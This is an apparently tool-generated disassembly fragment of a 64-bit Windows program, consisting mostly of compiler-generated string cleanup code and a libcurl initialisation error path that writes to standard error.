mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051594
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140051761
call fcn.140052f40
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x28], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1400515e7
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400515e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400515e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052f40
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140051635
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051630
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140051630
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052f40
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x58], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x14005167b
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x140051676
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400516d6
mov rcx, r8
call fcn.140052f40
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rsi], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1400516c0
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x1400516bb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400516dd
mov rcx, r8
call fcn.140052f40
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov al, 1
jmp 0x1400508ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
cmp r13, 0xf
jbe 0x14005171e
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140051716
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140051716
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.140052f40
xor ebx, ebx
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp + 8], bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x14005176e
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051768
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140051768
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052f40
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1400517a9
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400517a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400518f6
call fcn.140052f40
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x1400517f4
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400517ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140051944
call fcn.140052f40
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x58], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x14005183e
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x140051839
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400519e6
mov rcx, r8
call fcn.140052f40
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rsi], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140051887
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140051882
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400519df
mov rcx, r8
call fcn.140052f40
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
jmp 0x1400508ac
lea rdx, str.Failed_to_initialize_libcurl
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14004d9f0
mov rcx, rax
lea rdx, [0x14004d770]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400541a0
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140051902
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400518fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400518fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052f40
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140051950
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005194b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005194b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140052f40
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x58], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x140051996
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x140051991
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400519e6
mov rcx, r8
call fcn.140052f40
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rsi], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14005089d
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140050898
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x140050895
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14000bc30
int3
call fcn.14000bb90
nop
call fcn.14004d030
nop
call fcn.14004d030
int3